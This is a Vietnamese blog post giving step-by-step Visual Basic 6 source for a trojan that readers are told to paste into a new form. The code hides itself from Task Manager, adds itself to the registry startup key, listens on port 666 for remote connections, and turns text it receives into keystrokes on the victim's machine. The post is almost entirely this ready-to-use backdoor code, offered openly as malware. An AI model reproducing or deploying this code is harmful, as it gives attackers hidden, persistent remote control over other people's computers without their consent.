HUYHUNG'S BLOG

Bắt đầu bạn tạo 1 form mới. Bạn thêm vào WinSock Control ( Ctrl + T ). Kế đến bạn sao chép tòan bộ mã sau vào trong phần code

`Biến cố khởi động chương trình

Private Sub Form_Load()

'Không hiện chương trình trong Task Manager

App.TaskVisible = False

'Đưa Trojan vào phần khởi động trong Registry

Dim Reg As Object

Set Reg = CreateObject("wscript.shell")

Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS \CUR RENTVERSION\RUNSERVICES\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

'Số cổng mà ta sẽ dùng để kết nối từ máy khác khi Trojan đang chạy

winsock1.localport = "666"

'Thiết lập cho Trojan luôn đợi kết nối vào Internet

winsock1.Listen

End Sub

============================

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

'Kiểm tra Winsock để chắc chắn không 1 chương trình nào đang dùng nó

If Winsock1.State <> sckClosed Then Winsock1.Close

Winsock1.Accept requestID 'Chấp nhận liên kết chỉ với người vào đúng cổng

============================

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

'Nếu kết nối bị rớt , thiết lập cho winsock lập lại việc chờ đợi kết nối

Winsock1.Close

Winsock1.Listen

End Sub

============================

Private Sub Winsock1_Close()

'Giống như trên

Winsock1.Close

Winsock1.Listen

End Sub

============================

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim data1 As String 'Thiết lập giá trị để lưu trữ dữ liệu

Winsock1.GetData data1 'Lấy thông tin từ phần điều khiển và lưu nó trong data1

DoEvents

SendKeys data1 'Đùa chút với nạn nhân bằng cách -Mình đánh gì-Máy victim hiện chữ đó-

End Sub